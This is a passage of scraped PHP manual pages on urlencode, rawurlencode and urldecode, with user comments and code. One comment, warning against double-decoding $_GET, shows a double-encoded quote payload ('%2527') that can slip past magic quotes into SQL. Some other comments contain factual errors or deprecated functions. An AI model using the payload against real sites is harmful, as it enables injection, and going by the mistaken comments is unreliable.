var    $ENCODE_TABLE = ARRAY(33=>'%21', 35=>'%23', 36=>'%24', 37=>'%25', 38=>'%26', 40=>'%28', 41=>'%29', 43=>'%2B', 44=>'%2C', 47=>'%2F', 58=>'%3A', 59=>'%3B', 60=>'%3C', 61=>'%3D', 62=>'%3E', 63=>'%3F', 91=>'%5B', 92=>'%5C', 93=>'%5D', 123=>'%7B', 124=>'%7C', 125=>'%7D', 142=>'%C5%BD', 192=>'%C3%80', 193=>'%C3%81', 194=>'%C3%82', 195=>'%C3%83', 196=>'%C3%84', 197=>'%C3%85', 199=>'%C3%87', 200=>'%C3%88', 201=>'%C3%89', 202=>'%C3%8A', 203=>'%C3%8B', 204=>'%C3%8C', 205=>'%C3%8D', 206=>'%C3%8E', 207=>'%C3%8F', 210=>'%C3%92', 211=>'%C3%93', 212=>'%C3%94', 213=>'%C3%95', 214=>'%C3%96', 217=>'%C3%99', 218=>'%C3%9A', 219=>'%C3%9B', 220=>'%C3%9C', 221=>'%C3%9D', 224=>'%C3%A0', 225=>'%C3%A1', 226=>'%C3%A2', 227=>'%C3%A3', 228=>'%C3%A4', 229=>'%C3%A5', 231=>'%C3%A7', 232=>'%C3%A8', 233=>'%C3%A9', 234=>'%C3%AA', 235=>'%C3%AB', 236=>'%C3%AC', 237=>'%C3%AD', 238=>'%C3%AE', 239=>'%C3%AF', 242=>'%C3%B2', 243=>'%C3%B3', 244=>'%C3%B4', 245=>'%C3%B5', 246=>'%C3%B6', 249=>'%C3%B9', 250=>'%C3%BA', 251=>'%C3%BB', 252=>'%C3%BC', 253=>'%C3%BD', 255=>'%C3%BF');

example::

function encode($text) {
    while(list($ord, $enc) = each($ENCODE_TABLE)) {
    $text = str_replace(chr($ord), $enc, $text);
    }
return $text;
}

hope this help ...
ulterior AT one.lt 31-Aug-2005 05:48
In addition to my last post I would like to add that, this function is for the "directories/somefile.ext" paths

In order to construct valid ftp url (with password added in it )
do this

$valid_path = "ftp://" . rawurlencode($user) . ":" . rawurlencode($pass) . ftp_url_encode($your_server_path_to_file)

Last function will encode path url so that language characters remain untouched and you get same file name for download after download dialog appears.
ulterior AT one.lt 30-Aug-2005 12:20
This seems the correct way to encode ftp url which you could provide for your users:

function ftp_url_encode($string) {

   $hex="";
   $retstr = "";
   for ($i=0; $i < strlen($string) ;$i++) {

     $char = $string[$i];
     if(($char >= '0' && $char <= '9') || ($char >= 'A' && $char <= 'Z') || ($char >= 'a' && $char <= 'z') || $char == '.' || $char == '-' || $char == '/' || (ord($char) >=128) ) $retstr .= $char;
     else
     $retstr .= "%".strtoupper(dechex(ord($string[$i])));

   }
   return $retstr;
}

Browsers mangle certain language characters
peter at nospam dot webgains dot com 31-May-2005 01:38
The microsoft URLEncode method ignores the documentation in RFC1738 which states that:

".... the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL"

So for example, myaddress@mydomain.com becomes myaddress%40mydomain%2Ecom, whereas php and other languages would encode this as myaddress%40mydomain.com

This can be an issue when porting from asp or if you are doing string comparison of strings urlencoded on different platforms.

NB. php will correctly decode myaddress%40mydomain%2Ecom to myaddress@mydomain.com, it is only the encoding that differs
Lucas Gonze -- lucas at gonze dot com 06-Jan-2005 10:01
I have attempted to incorporate all of the previous comments, plus several bug fixes, into  dphantom's linkencode.  I see no bugs for these test cases:
http://example.com/path1;var1=val1/p2;v2
http://example.com/p1;v1/p2;v2
http://[ip:v6:440]:8080
http://example.com:8080
http://example.com/~joe
http://example.com/foobar/~joe
http://username:password@hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
http://invalid_host..name/

function linkencode($p_url){
   $uparts = @parse_url($p_url);

   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";

   if(!empty($scheme))
     $scheme .= '://';

   if(!empty($pass) && !empty($user)) {
     $user = rawurlencode($user).':';
     $pass = rawurlencode($pass).'@';
   } elseif(!empty($user))
     $user .= '@';

   if(!empty($port) && !empty($host))
       $host = ''.$host.':';
   elseif(!empty($host))
       $host=$host;

   if(!empty($path)){
     $arr = preg_split("/([\/;=])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $path = "";
     foreach($arr as $var){
       switch($var){
       case "/":
       case ";":
       case "=":
         $path .= $var;
         break;
       default:
         $path .= rawurlencode($var);
       }
     }
     // legacy patch for servers that need a literal /~username
     $path = str_replace("/%7E","/~",$path);
   }

   if(!empty($query)){
     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $query = "?";
     foreach($arr as $var){
       if( "&" == $var || "=" == $var )
         $query .= $var;
       else
         $query .= urlencode($var);
     }
   }

   if(!empty($fragment))
     $fragment = '#'.urlencode($fragment);

   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
}
Andrew Eigus 24-Jan-2003 03:31
note that if you implement your own server request engine in the HTTP manner like:

GET $request_uri

you should first split all parts of the $request_uri path and rawurlencode() each part, then concatenate those parts back again.  this function will translate the URI correctly:

function translate_uri($uri) {
    $parts = explode('/', $uri);
    for ($i = 0; $i < count($parts); $i++) {
      $parts[$i] = rawurlencode($parts[$i]);
    }
    return implode('/', $parts);
}

because if you do rawurlencode() over the whole URI, path separator characters '/' are also encoded and request will not happen to be correct.  '/' characters should not be encoded, only those parts in between.

hope this helps someone like me...
15-Nov-2002 07:30
Note that RFC 1738 has been amended:
The "[" and "]" are no longer considered unsafe, but instead are now considered "reserved", meaning that they CAN be used in URLs!

Currently this usage has only been allowed in the hostname part, but there are some proposals to allow such use in some URL schemes. Similar extensions are now found that use the "{}" characters as "reserved" characters with special semantics, instead of "unsafe" characters that must be URL encoded...

Note also that some characters are currently "reserved" but should have instead been considered as "unsafe": this includes the parenthesis "()" which are clearly unsafe when a URL is used in MIME headers.

Because of this, if a valid URL contains "()" characters, one should use an upper-level encoding to either enclose the URL with a pair of "unsafe" characters defined in the upper-level protocol (for example a "<>" pair in MIME headers, because these characters cannot be part of a valid URL)...
15-Nov-2002 07:20
About the ";" reserved character in URLs:

rawurlencode() will encode it with a "%2A" triplet. When used on the path part of a URL, this will break the usage defined in URL RFCs, that allows specifying additional parameters to *EACH* element of a path (separated by "/").

So if a path element contains a ";" character (some filesystems allow it, but this is not recommanded) as part of a directory name, this character must be encoded so that it won't be mixed with a parameter extension.

This mapping is allowed on URLs that use a hierarchical scheme (HTTP, HTTPS, FTP, FILE, ...), so that each path element prefixed by "/" can have additional navigational parameters such as authorization strings or semantic parameters.

The generic format of a path element may include path elements such as:
"/." or "/.." or "/.specialname" or "/regularname"
Each part may be followed by a ";" and other parameters separated by ";". These parameters can be eithger ordered or unordered. Unordered parameters have a symbolic name separated from their value with an equal sign.

Do not mix path element parameters with a query string: these parameters are directly attached to the individual path element, and this makes a difference when this path element is not the last one of the URL. These parameters are part of the resource name (unlike the query string), and the semantic of "." and ".." apply to the full path element with its parameters, so that:
"/subdir1/subdir2/page.html;charset=UTF-8/../index.html"
will resolve to "/subdir1/index.html".

Note that:
"/subdir1/subdir2/page.html;charset=UTF-8"
designates a DISTINCT resource name from:
"/subdir1/subdir2/page.html"
It does not necessarily involves a query, and so it can be cached by default (unlike URLs that contain a query string).

When using path element parameters, their optional name and required value must be rawurlencode()'d separately before inserting ";" and "=" parameters and creating the path elements that will be imploded in the full path.

The consequence is that you MUST not urlencode() or rawurlencode individual path elements, without first parsing them:
- first explode the path into its path lements separated by "/"
- then explode each path element in their name and parameters separated by ";" characters
- then split path element parameters that contain a "=" sign into a name/value pair.
- make sure that unordered path paremeters (that have been cut according to "=" into a pair) are specified *after* ordered parameters (including the main path element name) in each path element, and that no two unordered parameters have the same name (this restriction does not occur on unordered, unnamed parameters which only supply a value).
- finally you can interpret rawurlencoded names and values that constitute each path element.

Note also that some non-compliant HTTP servers consider that named parameters are ordered, and don't add a semantic to the ";" and "=" used to break up the list of path element parameters. On client agents, when validating URLs, it's best then not to try to interpret this list, and you should just split the main part of a path element and the parameters list by isolating the first ";" that introduces this list. However, the encoded parameter list cannot include any "/" parameter.

Caveats: note that path element parameters (introduced by ";") may be used on upper levels of a hierarchic URL, even before the final document name and its query parameters. When building lists of URLs, you should not separate URLs blindly with a ";" separator, as each URL may include a ";" character, in their path part (the ";" character cannot ocur safely in a query string). In that case, use a surrounding pair such as "<>" or quotes to enclose each URL in such a list.
15-Nov-2002 06:41
--- 1) About "reserved" characters in URLS:

Beware that RFC 1738 specifies that the characters "{", "}", "|", "\", "^", "~", "[", "]", and "`" are all considered unsafe and SHOULD be URL-encoded with a "%xx" triplet within *ALL* URLs.

However, some HTTP URLs seem to use the "~" character as a prefix for a user account for example:
http://www.any.host.domain/~user/subpath/page.html?query#fragment

This usage is acceptable, but the RFC specifies that "%7E" should be used instead of "~" in the path component. HTTP servers should accept "~" as being equivalent to "%7E", and according to the RFC, the "%7E" form should be the canonical one.

However, some HTTP servers are not fully complying to this RFC and consider "%7E" differently from "~" (i.e. they consider it as being part of a path component name, and search a directory name containing a "~" character, instead of mapping the "~user" path component to a user's directory. In that case, these non compliant HTTP server will not find the resource associated to that URL and may return a 404 error or other errors such as an access denied.

When using rawurlencode() on such HTTP URLs, it's best to consider this legacy usage, by using str_replace() on the result to convert back "/%7E" to "/~", so that the URLs will correctly map to the legacy use of the "~" character by these servers. On compliant HTTP servers, they will treat the "~" unsafe character equivalently with the "%7E" recommanded form, so they will automatically canonicalize the "~" character into "%7E".

--- 2) Encoding of hostnames in URLs

Finally, beware that host domain names parts in URLs *MUST NOT* be encoded with rawurlencode(), as the "[" and "]" are valid delimiters that *MUST* be used to reference an IPv6 address or other hostnames that don't fit to the restricted set of characters allowed in a host name (the "[" and "]" characters MUST be used if the hostname includes characters such as ":" which is typically used to specify an alternate non-default port number).

The encoding of host names uses another encoding, required to encode international domain names, with a base-64 encoding of Unicode characters and a "bq--" prefix. This encoding must be used only on individual subdomain parts (separated by "." characters). This encoding does not use any "%xx" triplets.

So NEVER use urlencode() or rawurlencode() on an unparsed URL, unless this full URL is part of a query parameter string!

--- 3) Encoding of username/passwords in URLs:

There is no standard to specify a password in a URL. In fact, there's a legacy usage of the ":" character to separate a username from a password, but it is strongly discouraged. The RFC does not attempt to specify a semantic to the authentication part of an URL (before the "@" character and the hostname part).

If you need to encode a password, always use rawurlencode() on username and passwords separately, and then insert the ":" character to separate both components. Don't use urlencode() (which could use a "+" to encode a space, and would not work because usernames and passwords consider "+" and spaces as being different!)
13-Sep-2002 05:06
rawurlencode() MUST not be used on unparsed URLs.

rawurlencode() should not be used on host and domain name parts (that may include international characters encoded in each domain part with a "q--" prefix followed by a special encoding of the international domain, currently in testbed).

rawurlencode() may be used on usernames and passwords separately (so that it won't encode the ':' and '@' separators).

rawurlencode() must not be used on paths (that may contain '/' separators): the ['path'] element of a parsed URL must first be exploded into individual "directory" names. A directory or filename that contains a space must not be encoded with urlencode() but with this rawurlencode(), so that it will appear as a '%20' hex sequence (not '+')

rawurlencode() must not be used to encode the ['query'] element of a parsed URL. Instead you must use the urlencode() function:

Typical queries often use the '&' separator between each parameter. This '&' separator however is just a convention, used in the www-url-encoded format for HTML forms using the default GET method. However, when references are done in a HTML page to an URL that contains static query parameters, these '&' separators should be encoded in the HTML code as '&amp;' for HTML conformance. This is not part of the URL specification, but of the HTML encapsulation! Some browsers forget this, and send '&amp;' with their HTTP GET query. You may wish to substitute '&amp;' by '&' when parsing and validating URLs. This should be done BEFORE calling urlencode() on query parts.

The ['fragment'] part of a parsed URL (after the first '#' separator found in any URL) must not be encoded with this rawurlencode() function but instead by urlencode().

Validating a URL sent in a HTTP request is then more complicated than what you may think. This must be done only on parsed URLs (where the basic elements of an URL have been splitted), and then you must explode the path components, and check the presence of '&amp;' sequences in the query or fragment parts.

The next thing to do is to check the URL scheme that you want to support (for example, only 'http', 'https', or 'ftp').

You may wich to check the ['port'] part to see if it's really a decimal integer between 1 and 65535.
You may wish to remove the default port number used by the URL schemes you want to support (for example the port '80' for 'http', the port '21' for 'ftp', the port '443' for 'https'), and restrict severely all port numbers below 1024, or some critical ports below 140 (this includes DNS and NetBios ports).

Then you may wish to control severely the ['host'] part (in fact a full host domain name or an IP address), by forbidding those host names that don't contain at least one dot, forbidding those that start with a dot, those that contain two consecutive dots, those that start or finish with a '-' dash, those that contain '.-' or '-.' (invalid in all domain names), those that contain two dashes in another position than the second and third character of a domain name part and not folled by at least one other character, forbid top level domain names that have only one non numeric character, or more than 6 characters (".museum" is, for now, the longest acceptable TLD), check that pseudo-TLD names that are pure integers are effectively between 0 and 255, in that case check that this is a valid IPv4 address by comparing it to long2ip(ip2long($host)), ...

This done, you must use the urlencode() function on all parts up to the exploded path elements, and rawurlencode() on the query and fragment parts, according to the specs, to recreate a complete and validated URL.
dphantom at ticino dot com 03-Feb-2002 02:48
PHP's functions rawurlencode() and urlencode(), both encode the whole argument parameter string, making the result useless as a valid link.

The function listed here encodes a link string (e.g. http://www.domain.com/long_path/to\file.php?query=param#fragm) to a valid <a href=""> parameter string, preserving the original URI structure and the path given.

function linkencode ($p_url) {
    $ta = parse_url($p_url);
    if (!empty($ta[scheme])) { $ta[scheme].='://'; }
    if (!empty($ta[pass]) and !empty($ta[user])) {
            $ta[user].=':';
            $ta[pass]=rawurlencode($ta[pass]).'@';
    } elseif (!empty($ta[user])) {
        $ta[user].='@';
    }
    if (!empty($ta[port]) and !empty($ta[host])) {
        $ta[host]=''.$ta[host].':';
    } elseif    (!empty($ta[host])) {
        $ta[host]=$ta[host];
    }
    if (!empty($ta[path])) {
        $tu='';
        $tok=strtok($ta[path], "\\/");
        while (strlen($tok)) {
            $tu.=rawurlencode($tok).'/';
            $tok=strtok("\\/");
        }
        $ta[path]='/'.trim($tu, '/');
    }
    if (!empty($ta[query])) { $ta[query]='?'.$ta[query]; }
    if (!empty($ta[fragment])) { $ta[fragment]='#'.$ta[fragment]; }
    return implode('', array($ta[scheme], $ta[user], $ta[pass], $ta[host], $ta[port], $ta[path], $ta[query], $ta[fragment]));
}
rawurldecode
urldecode
URL Functions


Decodes URL-encoded string

rawurlencode
urlencode
URL Functions
PHP Manual

urldecode

(PHP 4, PHP 5)

urldecode — Decodes URL-encoded string

Description

string urldecode ( string $str )

Decodes any %## encoding in the given string. Plus symbols ('+') are decoded to a space character.

Parameters

str

The string to be decoded.

Return Values

Returns the decoded string.

Examples

Example #1 urldecode() example

<?php
$a = explode('&', $QUERY_STRING);
$i = 0;
while ($i < count($a)) {
    $b = split('=', $a[$i]);
    echo 'Value for parameter ', htmlspecialchars(urldecode($b[0])),
         ' is ', htmlspecialchars(urldecode($b[1])), "<br />\n";
    $i++;
}
?>

Notes

Warning

The superglobals $_GET and $_REQUEST are already decoded. Using urldecode() on an element in $_GET or $_REQUEST could have unexpected and dangerous results.

See Also

  • urlencode() - URL-encodes string
  • rawurlencode() - URL-encode according to RFC 3986
  • rawurldecode() - Decode URL-encoded strings
  • » RFC 3986

User Contributed Notes

jodybrabec at gmail dot com 21-Dec-2011 04:01
Gets rid of 'amp;' in $_GET param names - so $_GET['amp;myVar'] becomes $_GET['myVar']
Made this because sometimes '&amp;' will wind up in the URL, as in:
http://example.com/index.php?aaa=111&amp;myVar=222
Call this function at the top of your php page:
unmake_amps();

<?php
function unmake_amps() {
    foreach ($_GET as $g_param=>$g_value) {
        if (preg_match('/^amp\;(.*)$/i', $g_param)) {
            $g_paramNew = preg_replace('/^amp\;(.*)$/i', '$1', $g_param);
            unset($_GET[$g_param]);
            if ($g_paramNew != '') {
                // Only if $g_paramNew has a value, becaues sometimes '&amp;' winds up at the end of a url ($_GET['amp;'])
                $_GET[$g_paramNew] = $g_value;
            }
        }
    }
}
?>

Geek note: only for one-dimensional $_GET arrays - too lazy to make this a recursive function.
alejandro at devenet dot net 14-Dec-2010 06:27
When the client send Get data, utf-8 character encoding have a tiny problem with the urlencode.
Consider the "Âº" character.
Some clients can send (as example)
foo.php?myvar=%BA
and another clients send
foo.php?myvar=%C2%BA (The "right" url encoding)

in this scenary, you assign the value into variable $x

<?php
$x = $_GET['myvar'];
?>

$x store: in the first case "ï¿½" (bad) and in the second case "Âº" (good)

To fix that, you can use this function:

<?php
function to_utf8( $string ) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
    if ( preg_match('%^(?:
      [\x09\x0A\x0D\x20-\x7E]            # ASCII
    | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
    | \xE0[\xA0-\xBF][\x80-\xBF]         # excluding overlongs
    | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
    | \xED[\x80-\x9F][\x80-\xBF]         # excluding surrogates
    | \xF0[\x90-\xBF][\x80-\xBF]{2}      # planes 1-3
    | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
    | \xF4[\x80-\x8F][\x80-\xBF]{2}      # plane 16
)*$%xs', $string) ) {
        return $string;
    } else {
        return iconv( 'CP1252', 'UTF-8', $string);
    }
}
?>

and assign in this way:

<?php
$x = to_utf8( $_GET['myvar'] );
?>

$x store: in the first case "Âº" (good) and in the second case "Âº" (good)

Solve a lot of i18n problems.

Please fix the auto-urldecode of $_GET var in the next PHP version.

Bye.

Alejandro Salamanca
chrisstocktonaz at gmail dot com 29-Jan-2010 10:39
I was looking for a fast way to build a string dsn from a key => value pair array. I came up with the following, simple enough for my purposes.

<?php

$dsn = Array(
  'host' => 'localhost',
  'port' => 80,
  'user' => 'foo',
  'pass' => 'R(I%!JAKSJ(asd'
);

$dsn = urldecode(http_build_query($dsn, NULL, ';'));

var_dump($dsn); // host=localhost;port=80;user=foo;pass=R(I%!JAKSJ(asd
?>
mail dot roliveira at gmail dot com 19-May-2009 04:50
Send json to PHP via AJAX (POST)

If you send json data via ajax, and encode it with encodeURIComponent in javascript, then on PHP side, you will have to do stripslashes on your $_POST['myVar'].

After this, you can do json_decode on your string.

Ex.:

<?php
// first use encodeURIComponent on javascript to encode the string
// receive json string and prepare it to json_decode
$jsonStr = stripslashes ($_POST['action']);
// decode to php object
$json = json_decode ($jsonStr);

// $json is now a php object
?>
Jan Vratny 12-Jun-2008 05:09
mkaganer at gmail dot com:

try using encodeURI() instead of encode() in javascript. That worked for me, while your solution did not on __some__ national characters (at least in IE6).
Joe 03-Apr-2008 11:11
It's worth pointing out that if you are using AJAX and need to encode strings that are being sent to a PHP application, you may not need to decode them in PHP.

<?php
echo stripslashes(nl2br($_POST['message']));
?>

Will properly output a message sent with the javascript code if the message is encoded:

message = encodeURIComponent(message)

And is sent with an AJAX POST request with the header:
ajaxVar.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
mkaganer at gmail dot com 04-Dec-2007 02:58
B.H.

I had troubles converting Unicode-encoded data in $_GET (like this: %u05D8%u05D1%u05E2) which is generated by JavaScript's escape() function to UTF8 for server-side processing.

Finally, i've found a simple solution (only 3 lines of code) that does it (at least in my configuration):

<?php
  function utf8_urldecode($str) {
    $str = preg_replace("/%u([0-9a-f]{3,4})/i","&#x\\1;",urldecode($str));
    return html_entity_decode($str,null,'UTF-8');;
  }
?>

note that documentation for html_entity_decode() states that "Support for multi-byte character sets was added at PHP 5.0.0" so this might not work for PHP 4
pedantic at hotmail co jp 16-Nov-2006 08:22
The following function will decode %uXXXX
sequentially, without temporary data.

<?php

function decode_unicode_url($str)
{
  $res = '';

  $i = 0;
  $max = strlen($str) - 6;
  while ($i <= $max)
  {
    $character = $str[$i];
    if ($character == '%' && $str[$i + 1] == 'u')
    {
      $value = hexdec(substr($str, $i + 2, 4));
      $i += 6;

      if ($value < 0x0080) // 1 byte: 0xxxxxxx
        $character = chr($value);
      else if ($value < 0x0800) // 2 bytes: 110xxxxx 10xxxxxx
        $character =
            chr((($value & 0x07c0) >> 6) | 0xc0)
          . chr(($value & 0x3f) | 0x80);
      else // 3 bytes: 1110xxxx 10xxxxxx 10xxxxxx
        $character =
            chr((($value & 0xf000) >> 12) | 0xe0)
          . chr((($value & 0x0fc0) >> 6) | 0x80)
          . chr(($value & 0x3f) | 0x80);
    }
    else
      $i++;

    $res .= $character;
  }

  return $res . substr($str, $i);
}
?>

Simple test with japanese characters,
combined with urldecode:

<?php

$str = decode_unicode_url('%u65E5%u672C%u8A9E');
print(mb_convert_encoding(urldecode($str), "sjis", "euc-jp, utf-8, sjis") . '<br/>');
?>
tikitiki at mybboard dot com 05-Oct-2006 03:56
Here is a rewritten example that does the same thing but runs cleaner.

<?php
$a = explode('&', $QUERY_STRING);

foreach($a as $key => $b)
{
   $b = split('=', $b);
   echo 'Value for parameter '.htmlspecialchars(urldecode($b[0])).' is '.htmlspecialchars(urldecode($b[1]))."<br />\n";
}
?>
jeffreyd at davis at gmail dot com 18-Aug-2006 01:05
As a useful variation on the function rosty dot kerei at gmail dot com wrote, I made a quick modification to just plain output the html code. That way a javascript encoded url (or say, a get variable) can actually be written back to the user.

function unicode_urldecode($url)
{
   preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

   foreach ($a[1] as $uniord)
   {
       $utf = '&#x' . $uniord . ';';
       $url = str_replace('%u'.$uniord, $utf, $url);
   }

   return urldecode($url);
}
Visual 18-May-2006 12:02
If you are escaping strings in javascript and want to decode them in PHP with urldecode (or want PHP to decode them automatically when you're putting them in the query string or post request), you should use the javascript function encodeURIComponent() instead of escape(). Then you won't need any of the fancy custom utf_urldecode functions from the previous comments.
rosty dot kerei at gmail dot com 19-Apr-2006 09:40
This function doesn't decode unicode characters. I wrote a function that does.

function unicode_urldecode($url)
{
    preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

    foreach ($a[1] as $uniord)
    {
        $dec = hexdec($uniord);
        $utf = '';

        if ($dec < 128)
        {
            $utf = chr($dec);
        }
        else if ($dec < 2048)
        {
            $utf = chr(192 + (($dec - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }
        else
        {
            $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
            $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }

        $url = str_replace('%u'.$uniord, $utf, $url);
    }

    return urldecode($url);
}
Aardvark 07-Mar-2006 01:20
The function below can be used to convert a query parameter resulting from applying the JavaScript escape function to a Unicode string back to Unicode.  The function was modified from a previously published function to handle escaped ASCII values in the range 128-255 which are converted to standard (and not Unicode) escapes by the escape function.  The option parameter allows an altenative encoding to UTF-8 to be apploed.  (More and related info can be found at http://www.kanolife.com/escape/).

function code2utf($num){
  if($num<128)
    return chr($num);
  if($num<1024)
    return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<32768)
    return chr(($num>>12)+224).chr((($num>>6)&63)+128)
          .chr(($num&63)+128);
  if($num<2097152)
    return chr(($num>>18)+240).chr((($num>>12)&63)+128)
          .chr((($num>>6)&63)+128).chr(($num&63)+128);
  return '';
}

function unescape($strIn, $iconv_to = 'UTF-8') {
  $strOut = '';
  $iPos = 0;
  $len = strlen ($strIn);
  while ($iPos < $len) {
    $charAt = substr ($strIn, $iPos, 1);
    if ($charAt == '%') {
      $iPos++;
      $charAt = substr ($strIn, $iPos, 1);
      if ($charAt == 'u') {
        // Unicode character
        $iPos++;
        $unicodeHexVal = substr ($strIn, $iPos, 4);
        $unicode = hexdec ($unicodeHexVal);
        $strOut .= code2utf($unicode);
        $iPos += 4;
      }
      else {
        // Escaped ascii character
        $hexVal = substr ($strIn, $iPos, 2);
        if (hexdec($hexVal) > 127) {
          // Convert to Unicode
          $strOut .= code2utf(hexdec ($hexVal));
        }
        else {
          $strOut .= chr (hexdec ($hexVal));
        }
        $iPos += 2;
      }
    }
    else {
      $strOut .= $charAt;
      $iPos++;
    }
  }
  if ($iconv_to != "UTF-8") {
    $strOut = iconv("UTF-8", $iconv_to, $strOut);
  }
  return $strOut;
}
spam at soiland dot no 05-Apr-2005 05:45
About reg_var and "html reserved words"

Do not add spaces as the user suggests.

Instead, do what all HTML standards says and encode & in URLs as &amp; in your HTML.

The reason why & works "most of the time" is that browsers are forgiving and just decode the & as the &-sign. This breaks whenever you have a variable that matches an HTML entity, like "gt" or "copy" or whatever. &copy in your URL will be interpreted as &copy;  (the ; is not mandatory in SGML as it is "implied". In XML it is mandatory.).   The result will be the same as if you had inserted the actual character into your source code, for instance by pressing alt-0169 and actually inserted © in your HTML.

Ie, use:

<a href="?name=stain&amp;fish=knott">mylink</a>

Note that the decoding of &amp; to & is done in the browser, and it's done right after splitting the HTML into tags, attributes and content, but it works both for attributes and content.

This mean you should &entitify all &-s in any other HTML attributes as well, such as in a form with
<input name="fish" value="fish &amp; fries" />.
Matt Johnson 25-Dec-2004 04:49
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
caribe at flash-brasil dot com dot br 13-Oct-2003 01:55
To allow urldecode to work with Brazilian characters as ç ã ó and other just place this header command :

header('Content-type: text/html; charset=UTF-8');
09-Oct-2003 08:17
nataniel, your function needs to be corrected as follows:

------------------------------------------------------------
function unicode_decode($txt) {
  return ereg_replace('%u([[:alnum:]]{4})', '&#x\1;',$txt);
}
------------------------------------------------------------

since some codes does not begin with %u0.
tomas at penajaca dot com dot br 20-Jul-2003 11:14
urldecode does not decode "%0"  bypassing it. I can cause troble when you are working with fixed lenght strings.

You can you the function below.

function my_urldecode($string){

  $array = split ("%",$string);

  if (is_array($array)){
    while (list ($k,$v) = each ($array)){
       $ascii = base_convert ($v,16,10);
       $ret .= chr ($ascii);
    }
 }
 return ("$ret");
}
regindk at hotmail dot com 23-Apr-2003 06:00
About: bellani at upgrade4 dot it
$str = "pippo.php?param1=&reg_var";
echo rawurldecode($str);
Gives:
pippo.php?param1=®_var
Instead of using a space you should exchange & with the correct W3C &amp;
Like this:
$str = "pippo.php?param1=&amp;reg_var";
echo rawurldecode($str);
bellani at upgrade4 dot it 11-Mar-2003 10:12
If you have a "html reserved word" as variable name (i.e. "reg_var") and you pass it as an argument you will get  a wrong url. i.e.

<a href="pippo.php?param1=&reg_var=">go</a>

you will get a wrong url like this

"pippo.php?param1=®_var"

Simply add a space between "&" and "reg_var" and it will work!

<a href="pippo.php?param1=& reg_var=">go</a>

"pippo.php?param1=&%20reg_var"

Works!!
smolniy at mtu dot ru 07-Feb-2003 02:42
For compatibility of new and old brousers:

%xx -> char
%u0xxxx -> char

function unicode_decode($txt) {
 $txt = ereg_replace('%u0([[:alnum:]]{3})', '&#x\1;',$txt);
 $txt = ereg_replace('%([[:alnum:]]{2})', '&#x\1;',$txt);
 return ($txt);
}
igjav at cesga dot es 16-May-2002 11:48
This seems to decode correctly between most browsers and charater coding configurations. Specially indicated for direct parsing of URL as it comes on environment variables:

function crossUrlDecode($source) {
    $decodedStr = '';
    $pos = 0;
    $len = strlen($source);

    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == 'Ã') {
            $char2 = substr($source, $pos, 2);
            $decodedStr .= htmlentities(utf8_decode($char2),ENT_QUOTES,'ISO-8859-1');
            $pos += 2;
        }
        elseif(ord($charAt) > 127) {
            $decodedStr .= "&#".ord($charAt).";";
            $pos++;
        }
        elseif($charAt == '%') {
            $pos++;
            $hex2 = substr($source, $pos, 2);
            $dechex = chr(hexdec($hex2));
            if($dechex == 'Ã') {
                $pos += 2;
                if(substr($source, $pos, 1) == '%') {
                    $pos++;
                    $char2a = chr(hexdec(substr($source, $pos, 2)));
                    $decodedStr .= htmlentities(utf8_decode($dechex . $char2a),ENT_QUOTES,'ISO-8859-1');
                }
                else {
                    $decodedStr .= htmlentities(utf8_decode($dechex));
                }
            }
            else {
                $decodedStr .= $dechex;
            }
            $pos += 2;
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    return $decodedStr;
}
rawurlencode
urlencode
URL Functions


URL-encodes string

urldecode
V8js
URL Functions
PHP Manual

urlencode

(PHP 4, PHP 5)

urlencode — URL-encodes string

Description

string urlencode ( string $str )

This function is convenient when encoding a string to be used in a query part of a URL, as a convenient way to pass variables to the next page.

Parameters

str

The string to be encoded.

Return Values

Returns a string in which all non-alphanumeric characters except -_. have been replaced with a percent (%) sign followed by two hex digits and spaces encoded as plus (+) signs. It is encoded the same way that the posted data from a WWW form is encoded, that is the same way as in application/x-www-form-urlencoded media type. This differs from the » RFC 3986 encoding (see rawurlencode()) in that for historical reasons, spaces are encoded as plus (+) signs.

Examples

Example #1 urlencode() example

<?php
echo '<a href="mycgi?foo=', urlencode($userinput), '">';
?>

Example #2 urlencode() and htmlentities() example

<?php
$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);
